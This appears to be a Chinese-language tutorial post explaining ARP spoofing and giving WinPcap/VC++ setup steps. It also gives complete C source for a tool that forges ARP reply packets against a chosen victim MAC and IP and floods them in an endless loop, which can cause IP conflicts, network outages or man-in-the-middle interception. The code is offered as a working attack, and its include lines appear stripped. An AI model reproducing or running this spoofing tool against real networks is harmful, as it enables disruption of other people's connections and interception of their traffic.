windows平臺ARP攻擊示例(vc++)?

Tags: 平臺, 地址, 示例,

ARP攻擊就是通過偽造IP地址和MAC地址實現ARP欺騙,能夠在網路中產生大量的ARP通訊量使網路阻塞,攻擊者只要持續不斷的發出偽造的ARP響應包就能更改目標主機ARP快取中的IP-MAC條目,造成網路中斷或中間人攻擊。

ARP攻擊主要是存在於區域網網路中,區域網中若有一臺計算機感染ARP木馬,則感染該ARP木馬的系統將會試圖通過“ARP欺騙”手段截獲所在網路內其它計算機的通訊資訊,並因此造成網內其它計算機的通訊故障。

某機器A要向主機B傳送報文,會查詢本地的ARP快取表,找到B的IP地址對應的MAC地址後,就會進行資料傳輸。如果未找到,則A廣播一個ARP請求報文(攜帶主機A的IP地址Ia——實體地址Pa),請求IP地址為Ib的主機B回答實體地址Pb。網上所有主機包括B都收到ARP請求,但只有主機B識別自己的IP地址,於是向A主機發回一個ARP響應報文。其中就包含有B的MAC地址,A接收到B的應答後,就會更新本地的ARP快取。接著使用這個MAC地址傳送資料(由網絡卡附加MAC地址)。因此,本地快取記憶體的這個ARP表是本地網路流通的基礎,而且這個快取是動態的。

工具/原料

4.0beta1-WpdPack及 vc++6.0

方法/步驟

本程式利用winpacp實現往區域網內發自定義的包,以達到ARP欺騙的目的。首先下載4.0beta1-WpdPack和4.0beta1-WinPcap.exe,版本很多,不過最新版本需要64位的系統,本人32位系統用不了。直接點選4.0beta1-WinPcap.exe安裝,然後在C:\Program Files\WinPcap下開啟rpcapd.exe服務。然後在VC中,Tools→Options→Directories下配置include和library,將4.0beta1-WpdPack中的include和library庫包含進去,本人把4.0beta1-WpdPack放在D盤根目錄下,結果如下:

windows平臺ARP攻擊示例(vc++)

然後在Project→Settings→Link→Object/libraryModules,在文字框的末尾新增“wpcap.lib packet.libws2_32.lib”。

windows平臺ARP攻擊示例(vc++)

第一步:開啟MS dos 輸入ipconfig –all 獲得本機的實體地址和ip地址。本機的Physical Address :D4-3D-7E-20-89-0E,IP Address:192.168.1.102。

第二步:用vc++編譯xiaobo_arp.c檔案,生成xiaobo_arp.exe,然後在桌面上開啟可執行程式如圖6-12內容,在提示下輸入相應的內容,桌面顯示windows ip衝突提醒。如圖6-12所示,一個簡單的ARP測試程式就完成了。

windows平臺ARP攻擊示例(vc++)

xiaobo_arp.c檔案的內容如下:

#include

#include

#include

int main(){

pcap_if_t *devsin;//define socket interface

pcap_if_t *d;

int i=0,inum=0,j;

char errorbuf[PCAP_ERRBUF_SIZE];

u_char packet[60];

pcap_t *adhandle;

system("title xiaobo_arp");

/* *********************device list ******************************************/

if (pcap_findalldevs(&devsin, errorbuf) == -1){

fprintf(stderr,"Error in pcap_findalldevs: %s\n", errorbuf);

exit(1);

}

/*************************show device list ***********************************/

printf("**************welcome to use xiaobo_arp test*******************\n");

printf("**************Designed by [email protected] *******************\n");

printf("show device list\n");

for(d=devsin; d != NULL; d= d->next){

printf("[%d] %s", ++i, d->name);

if (d->description)

printf(" (%s)\n", d->description);

else

printf(" (No description available)\n\n");

}

if (i == 0){

printf("\nNo interfaces found! Make sure WinPcap is installed.\n");

return 0;

}

printf("\n***************************************************************************\n");

printf("Enter the interface number (1-%d):",i);

scanf("%d", &inum);

/* changed to adapter*/

for(d=devsin, i=0; i< inum-1 ;d=d->next, i++);

/* open adapter */

if ( (adhandle= pcap_open_live(d->name, 65536, 1,1000, errorbuf )) == NULL){

fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);

/* realize list */

pcap_freealldevs(devsin);

return -1;

}

printf("please input attacked MAC address(ps:FF-FF-FF-FF-FF-FF)\n");

scanf("%2x-%2x-%2x-%2x-%2x-%2x",packet,packet+1,packet+2,packet+3,packet+4,packet+5);

/* mac*/

/* src mac */

packet[6]=0x0e;

packet[7]=0x0e;

packet[8]=0X42;

packet[9]=0x00;

packet[10]=0X01;

packet[11]=0x12;

/* 0806 ARP */

packet[12]=0x08;

packet[13]=0x06;

/* 0001 ethernet*/

packet[14]=0x00;

packet[15]=0x01;

/* 0800 IP */

packet[16]=0x08;

packet[17]=0x00;

/*pa length*/

packet[18]=0x06;

/*protrol a length*/

packet[19]=0x04;

/* op,01 request,02 ack */

packet[20]=0x00;

packet[21]=0x02;

for(i=22;i<28;i++)

{

packet[i]=packet[i-16];

}

printf("please input a false ip\n");

scanf("%d.%d.%d.%d",&packet[28],&packet[29],&packet[30],&packet[31]);

/*dst mac address*/

for(i=32;i<38;i++)

{

packet[i]=packet[i-32];

}

/*des ip */

printf("plese input des ip\n");

scanf("%d.%d.%d.%d",&packet[38],&packet[39],&packet[40],&packet[41]);

for(j=42;j<60;j++)

{

packet[j]=0x00;

}

/*show data*/

for(i=0;i<60;i++)

{

printf("%x ",packet[i]);

}

//int k=10;

/*send to */

while(1){

pcap_sendpacket(adhandle, packet,60 );

printf("OK\n");

_sleep(1000);

//k--;

}

pcap_close(adhandle);

system("pause");

return 0;

}

相關問題答案